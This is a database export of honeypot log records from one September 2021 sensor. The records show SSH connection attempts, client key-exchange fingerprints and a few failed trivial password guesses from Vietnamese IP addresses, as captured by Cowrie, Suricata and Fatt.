21868	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.174153+03	2021-09-20 14:15:04.204613+03	{"_id": "0AXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9394aeab2409", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:23.174153Z", "@timestamp": "2021-09-20T11:06:23.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21869	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.413275+03	2021-09-20 14:15:04.205613+03	{"_id": "0QXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9394aeab2409", "@version": "1", "timestamp": "2021-09-20T11:06:23.413275Z", "@timestamp": "2021-09-20T11:06:23.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21870	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:23.537908+03	2021-09-20 14:15:04.206613+03	{"_id": "1QXiAnwBvYTbRNuEtP1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57050 (192.168.176.2:22) [session: fc8a78d51290]", "session": "fc8a78d51290", "@version": "1", "protocol": "ssh", "src_port": 57050, "dest_port": 22, "timestamp": "2021-09-20T11:06:23.537908Z", "@timestamp": "2021-09-20T11:06:23.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21871	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:23.857115+03	2021-09-20 14:15:04.208613+03	{"_id": "0wXiAnwBvYTbRNuEtP1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [tommy/tommy] failed", "session": "6bd485b75f89", "@version": "1", "password": "tommy", "username": "tommy", "timestamp": "2021-09-20T11:06:23.857115Z", "@timestamp": "2021-09-20T11:06:23.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21872	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:23.370212+03	2021-09-20 14:15:04.209613+03	{"_id": "1wXiAnwBvYTbRNuEtP1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "dad9cdc78955", "@version": "1", "duration": 2.8164262771606445, "timestamp": "2021-09-20T11:06:23.370212Z", "@timestamp": "2021-09-20T11:06:23.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21873	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:23.54942+03	2021-09-20 14:15:04.210613+03	{"_id": "2AXiAnwBvYTbRNuEtP1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fc8a78d51290", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:23.549420Z", "@timestamp": "2021-09-20T11:06:23.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21874	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:23.858161+03	2021-09-20 14:15:04.212613+03	{"_id": "2QXiAnwBvYTbRNuEtP1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fc8a78d51290", "@version": "1", "timestamp": "2021-09-20T11:06:23.858161Z", "@timestamp": "2021-09-20T11:06:23.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21875	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:23.990785+03	2021-09-20 14:15:04.213614+03	{"_id": "2gXiAnwBvYTbRNuEtP1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [test/tester] failed", "session": "fa51fa9ef0bd", "@version": "1", "password": "tester", "username": "test", "timestamp": "2021-09-20T11:06:23.990785Z", "@timestamp": "2021-09-20T11:06:23.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21876	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:24.631203+03	2021-09-20 14:15:04.214612+03	{"_id": "-gXiAnwBvYTbRNuEt_1d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 180867166121305, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51890, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.631203Z", "@timestamp": "2021-09-20T11:06:24.631Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21877	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:24.873841+03	2021-09-20 14:15:04.216613+03	{"_id": "-wXiAnwBvYTbRNuEuP1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38288 (192.168.176.2:22) [session: 62c21894c061]", "session": "62c21894c061", "@version": "1", "protocol": "ssh", "src_port": 38288, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.873841Z", "@timestamp": "2021-09-20T11:06:24.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21878	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:25.015529+03	2021-09-20 14:15:04.217615+03	{"_id": "_AXiAnwBvYTbRNuEuP1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:37806 (192.168.176.2:22) [session: 129aae4c0a88]", "session": "129aae4c0a88", "@version": "1", "protocol": "ssh", "src_port": 37806, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.015529Z", "@timestamp": "2021-09-20T11:06:25.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21879	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.18643+03	2021-09-20 14:15:04.218613+03	{"_id": "BgXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:49944 (192.168.176.2:22) [session: 3449431e51cd]", "session": "3449431e51cd", "@version": "1", "protocol": "ssh", "src_port": 49944, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.186430Z", "@timestamp": "2021-09-20T11:06:24.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21880	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.35346+03	2021-09-20 14:15:04.219613+03	{"_id": "BwXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:51890 (192.168.176.2:22) [session: 157a4ae18a99]", "session": "157a4ae18a99", "@version": "1", "protocol": "ssh", "src_port": 51890, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.353460Z", "@timestamp": "2021-09-20T11:06:24.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21881	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:24.504102+03	2021-09-20 14:15:04.220613+03	{"_id": "_gXiAnwBvYTbRNuEuP1B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49944, "dest_port": 22, "timestamp": "2021-09-20T11:06:24.504102", "@timestamp": "2021-09-20T11:06:24.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
